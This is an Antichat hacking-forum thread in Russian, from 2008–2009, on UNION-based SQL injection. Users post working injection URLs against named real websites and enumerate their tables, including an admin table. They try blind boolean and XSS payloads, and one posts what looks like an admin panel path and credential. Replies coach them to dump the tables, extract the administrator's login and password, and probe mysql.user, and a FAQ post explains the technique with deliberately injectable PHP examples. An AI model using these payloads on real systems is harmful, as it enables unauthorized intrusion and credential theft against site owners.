Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

24.06.2008, 20:36
|
|
Познающий
Регистрация: 07.08.2006
Сообщений: 66
Провел на форуме: 2256830
Репутация:
94
|
|
Вот решил тоже поучится и нашел достаточно интересный сайт таблицы нашел но прочитать колонки к ним не могу хотя составляю правильный запрос типу:
Код:
http://www.tokiavto.ru/pages.php?id=-1+union+select+1,2,COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='ADMIN'+LIMIT+1,1/*
Кстати все таблицы
Код:
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
newsleech
toki_ekskurs
toki_news
toki_pages
toki_transport
ABOUT
ADMIN
COLOR
COMPILE
CONTACTS
GUESTBOOK
MATERIAL
NEWS
PRODUCER
REKLAMA
SEASON
SEASON_THINGS
SHOPS
TGROUP
THINGS
THINGS_COLORS
|
|
|

24.06.2008, 21:24
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Мистерео
А чем тебе не нравится эта тема:
https://forum.antichat.ru/threadnav46016-1-10.html
По сабжу : название таблицы в Hex вот ссылка :
_http://snak3.h17.ru/tools/
вот так будет выглядеть:
_http://www.tokiavto.ru/pages.php?id=-1+union+select+1,2,COLUMN_NAME+FROM+INFORMATION_SC HEMA.COLUMNS+WHERE+TABLE_NAME=0x41444d494e+LIMIT+4 ,1/*
Да, твой следующий вопрос будет почему нет вывода логин-пароля
Ответ: таблица ADMIN в другой базе 
Будут вопросы пиши по возможности в теме которую я привёл-быстрее помогут
|
|
|
SQL injection полный FAQ: использование оператора union |

04.08.2008, 20:38
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
SQL injection полный FAQ: использование оператора union
Я устал видеть распространённую ошибку пользователей связанную с использованием union-a и существующего значения параметра, поэтому решил написать это не большое дополнение, может кому то будет полезно...
Зачем нужно использовать несуществующее значение в sql инъекциях при объединении запросов union-ом? и нужно ли вообще?
Union объеденяет два запроса, делая результат запроса общим, а вот скольно информации будет выведено зависит от php скрипта.
В тех случаях когда скрипт получает еденичные данные из БД (конкретная запись (к примеру новость или сообщение на форуме)) (т.е. когда получение результата запоса не помещено в цикл: $result = mysql_fetch_row($query)), то будет выведена только первая строка результата запроса:
Код:
Возьмём к примеру запрос:
select 111, 222 union select 333, 444
Его результатом будет:
111, 222 - раз строка
333, 444 - два строка
Если ограничить вывод лимитом, то можно получить вывод одной строки:
select 111, 222 union select 333, 444 limit 0,1
Результат:
111, 222
А теперь лимитом выведем вторую строку:
select 111, 222 union select 333, 444 limit 1,1
Результат:
333, 444
Так вот, вернёмся к тому как выводит данные скрипт:
Каждая итерация $result = mysql_fetch_row($query) получает только одну строку результата запроса, и если получение результата запроса не помещено в цикл, то будет получена только одна строка.
А какая строка будет выведена - первая, но это "первеность" зависит от самого запроса:
Код:
select title from news - здесь первой строкой будет та, которая первой сохранена в БД
select title from news where id > 5 - здесь первой строкой будет первая строка в БД удовлетворяющая этому условию
select title from news limit 3, 1 - а вот здесь первая строка = третьей записи в БД и никакой другой она быть не может
На то что будет выведено в результате запроса мы можем влиять меняя сам запрос.
Подставляя в параметр не существующие значение (к примеру подставляя в него минус), мы делаем его результат никаким (т.е. результата не будет вообще):
Код:
select title from news where id = -5 - т.к. новости id которой равен минус пяти нет, то никакого результа у запроса не будет.
А теперь заюзаем union, объеденив тем самым два запроса:
Код:
select title from news where id = -5 union select 1 - т.к. первый запрос результата не даст, то единственным результатом будет результат второго запроса
Здесь первой выведенной строкой будет результат второго запроса, т.к. больше выводить нечего.
Теперь подставим существующие значение:
Код:
select title from news where id = 5 union select 1 - id новости существующее значение, значит первой строкой результата будет результат первого запроса, а второй строкой будет результат второго запроса.
И если получение результата запроса ($result = mysql_fetch_row($query)) не прописано в цикле (а мы такую ситуацию и рассматриваем), то мы увидим только результат первого запроса.
А заюзав лимит и указав вывод второй строки мы получим результат второго запроса:
Код:
select title from news where id = 5 union select 1 limit 1,1
Теперь ситуация когда получение результата в цикле - здесь вначале будут выведены все строки из первого запроса, а затем все строки из второго запроса, т.е. желаемый результат мы увидим где нибудь в конце списка выводимых данных.
Но ситуации когда получение данных идет в цикле и при этом используется условие отбора (where) параметр которого можно менять - все таки некоторая редкость.
Поэтому что бы видеть результат второго запроса, нужно или "вырубать" несуществующим значением первый запрос или с помощью limit-а указвать вывод второй строки "общего" результата запроса:
Код:
?id=1+union+select+1,2,3 - если получение запроса не в цикле, то ничего нового мы здесь не увидим
?id=-1+union+select+1,2,3 - а вот здесь увидим уже результат второго запроса
?id=1+union+select+1,2,3+limit+1,1 - здесь тоже
Помоему удобнее "вырубать" первый запрос несуществующим значением (или условием), чем использовать limit.
Кстати если вы всё таки хотите использовать limit, то учтите что limit 1,1 - будет выводить первую строку второго запроса, а limit 0,1 первый запрос (опять же если получение результата идёт не в цикле и результат первого запроса - одна строка).
-------------------------------------- --------------------------------------
union поддерживается в mysql начиная с 4.0 версии, а вот подзапросы только с 4.1.
Т.е. "раскручивать" не слепую инъекцию через подзапросы возможно в меньших случаях чем через объединение запросов (некоторые скрипты/проги/сплойты могут быть написаны с использованием подзапросов).
Последний раз редактировалось Grey; 27.09.2008 в 22:01..
|
|
|

19.11.2008, 01:02
|
|
Познающий
Регистрация: 26.10.2008
Сообщений: 50
Провел на форуме: 536527
Репутация:
62
|
|
http://kengu.ru/news.php?get=-4172+OR+id=0x494628415343494928535542535452494E472 82853454C4543542B555345522829292C312C31293E3D312C2 734313732272C2734313733272929--
(это зашифрованное IF(ASCII(SUBSTRING((SELECT+USER()),1,1)>=1,'4172','4173')) )
http://kengu.ru/news.php?get=-4172+OR+id=0x494628415343494928535542535452494E472 82853454C4543542B555345522829292C312C31293E3D32353 52C2734313732272C2734313733272929--
(это зашифрованное IF(ASCII(SUBSTRING((SELECT+USER()),1,1)>=255,'4172','4173')) )
Вопрос! почему всегда ответ один и тотже(хотя 4172 и 4173 -разные)
|
|
|

19.11.2008, 02:23
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
Сообщение от foopi
http://kengu.ru/news.php?get=-4172+OR+id=0x494628415343494928535542535452494E472 82853454C4543542B555345522829292C312C31293E3D312C2 734313732272C2734313733272929--
(это зашифрованное IF(ASCII(SUBSTRING((SELECT+USER()),1,1)>=1,'4172','4173')) )
http://kengu.ru/news.php?get=-4172+OR+id=0x494628415343494928535542535452494E472 82853454C4543542B555345522829292C312C31293E3D32353 52C2734313732272C2734313733272929--
(это зашифрованное IF(ASCII(SUBSTRING((SELECT+USER()),1,1)>=255,'4172','4173')) )
Вопрос! почему всегда ответ один и тотже(хотя 4172 и 4173 -разные)
Потому что хексить операторы или функции (вообщем любые управляющие конструкции) нельзя.
|
|
|

26.11.2008, 12:08
|
|
Участник форума
Регистрация: 18.05.2008
Сообщений: 130
Провел на форуме: 1113633
Репутация:
155
|
|
http://www.shale.ru/page.php?lev1=-1+union+select+1,2,3,4,5,'</script>alert('Hacked by masternet')</script>',7,8,9,10--
sixss нету..почему так?
|
|
|

26.11.2008, 12:13
|
|
Banned
Регистрация: 25.12.2006
Сообщений: 179
Провел на форуме: 2337678
Репутация:
354
|
|
Сообщение от masternet
http://www.shale.ru/page.php?lev1=-1+union+select+1,2,3,4,5,'</script>alert('Hacked by masternet')</script>',7,8,9,10--
sixss нету..почему так?
Потому что там и не должно быть SIXSS,зачем такой изврат нереальный????
Там пятая версия, дампи таблицы и имей сервак без sixxs xD
http://www.shale.ru/page.php?lev1=-1+union+select+1,2,3,4,5,version(),7,8,9,10--
Ты темы не попутал случаем? 
|
|
|

26.11.2008, 12:16
|
|
Участник форума
Регистрация: 18.05.2008
Сообщений: 130
Провел на форуме: 1113633
Репутация:
155
|
|
ну тогда ещё вопрос..сессию пиздить надо?а то не коннектится к админке..
shale.ru/admin
shale;941618
жалко правда что нету форума(
|
|
|

26.11.2008, 12:21
|
|
Banned
Регистрация: 25.12.2006
Сообщений: 179
Провел на форуме: 2337678
Репутация:
354
|
|
masternet
КАКАЯ НАХ СЕССИЯ!!!!??? Дампи таблицы и выдёргивай логин с пассом админа, или проверяй на доступ к mysql.user! Эта уязвимость лучше чем sixxs ))) бред какой то, ты извращенец. Вали в раздел "Ваши вопросы по уязвимостям" и внимательно перечитай первый пост этой темы!!!!
УУУ...Я ржу нереально.
И кстати- xss , cross-site scripting - если не ошибаюсь, пишется так.
|
|
|

09.01.2009, 19:08
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Дополню пожалуй материал относительно двух запросов подряд.
Думаю все кто знаком с инъекциями с этой ошибкой сталкивались. При подборе количества полей через order by показывает допустим 4 поля, а при запросе union select 1,2,3,4 выкидывает ошибку different number of columns
Обычно на вопрос что это кто-нибудь отвечает что-то типа "там два запроса","ищи другой параметр", "юзай подзапросы" и это как-бы само по себе подразумевает, что вывода небудет.
Это не совсем так, а точнее совсем не так. Количество запросов не влияет на вывод, он либо есть, либо нет, и сколько запросов идёт к базе без разницы.
Давайте разберёмся. Допустим код выглядит так(не знаю кому это может понадобится, рассматриваем теорию  ):
PHP код:
$sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id order by id limit 1";
$sql1="SELECT page_title, page_autor, page_content FROM pages WHERE id=$id order by id limit 1";
$res=mysql_query($sql);
$result = mysql_fetch_row($res);
$res1=mysql_query($sql1);
$result1 = mysql_fetch_row($res1);
echo $result[0]."<br>";
echo $result[1]."<br>";
echo $result[2]."<br>";
echo $result[3]."<br>";
echo $result1[0]."<br>";
echo $result1[1]."<br>";
echo $result1[2]."<br>";
Что будет при подборе:
?id=2+order+by+3/*--------вывод без ошибок
?id=2+order+by+4/*--------ошибка Unknown column '4' in 'order clause', но вывод из первого запроса остался. Ошибка возникает во втором запросе
?id=2+order+by+5/*--------тут уже вывода нет, оба запроса не верны
Начинаем вывод полей
?id=-2+union+select+1,2,3/*-------вывод из 2-го запроса (в нём кол-во полей совпало)
?id=-2+union+select+1,2,3,4/*-------из первого
Тоесть вывод есть !
При расположении запросов в обратном порядке , будет то-же самое
Далее, усложним задачу  Вывод из разных таблиц:
PHP код:
$sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id";
$res=mysql_query($sql);
$result = mysql_fetch_row($res);
$sql1="SELECT title, date FROM news WHERE id=$id";
$res1=mysql_query($sql1);
$result1 = mysql_fetch_row($res1);
echo $result[0]."<br>";
echo $result[1]."<br>";
echo $result[2]."<br>";
echo $result[3]."<br>";
echo "result1 : ".$result1[0]."<br>";
echo "result1 : ".$result1[1]."<br>";
?id=1+order+by+2/*------вывод
?id=1+order+by+3/*------ошибка, но вывод из первого запроса
?id=1+order+by+5/*------и наконец ошибка
Выводим:
?id=-1+union+select+1,2/*-------вывод (2 запрс верен)
?id=-1+union+select+1,2,3,4/*--вывод (1 запрс верен)
Ну и наконец смертельный номер  Результат одного запроса, идёт в другой запрос:
PHP код:
$sql1="SELECT page_title, id, page_content, page_date FROM pages WHERE page_autor='$id'";
$res1=mysql_query($sql1);
$result1 = mysql_fetch_row($res1);
if($res1){
$sql="SELECT title, date FROM news WHERE id='$result1[1]'";
$res=mysql_query($sql);
$result = mysql_fetch_row($res);
echo "result : ".$result[0]."<br>";
echo "result : ".$result[1]."<br>";
}
echo $result1[0]."<br>";
echo $result1[1]."<br>";
echo $result1[2]."<br>";
echo $result1[3]."<br>";
?id=sa'+order+by+4/*------вывод
?id=sa'+order+by+5/*------ошибка
Вывод
?id=a'+union+select+1,2,3,4/*---из 1 запроса(второй кстати тоже будет верным)
Ну и из второго тоже можно вывести, но это конечно так, для общего развития:
?id=a'+union+select+1,"-1'+union+select+1,2/*",3,4/*
Сдесь вывод из двух запросов
Это конечно не полный перечень возможных запросов, но целью было не рассмотрение всех возможных вариантов. Этим дополнением я хотел показать, что неважно сколько запросов идёт к базе, вывод можно сделать, просто перебор кол-ва столбцов будет несколько отличаться от обычного.
Разумеется ничего нового в материале нет, но надеюсь вопросов(а главное ответов  ) связанных с этой ошибкой поубавится
Ну и пример из жизни (взял первую, что нашол, из топика по скулям, кого обидел не поставив копирайты сори )
http://presscenter.kz/index.php?show=news&id=2+order+by+5/*
Вывод
http://presscenter.kz/index.php?show=news&id=2+order+by+6/*
Unknown column '6' in 'order clause'
http://presscenter.kz/index.php?show=news&id=2+union+select+1,2,3,4,5/*
The used SELECT statements have a different number of columns
Вывод:
http://presscenter.kz/index.php?show=news&id=-1+union+select+concat(0x3a3a3a3a,Version()),2,3,4, 5,6,7,8,9/*
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|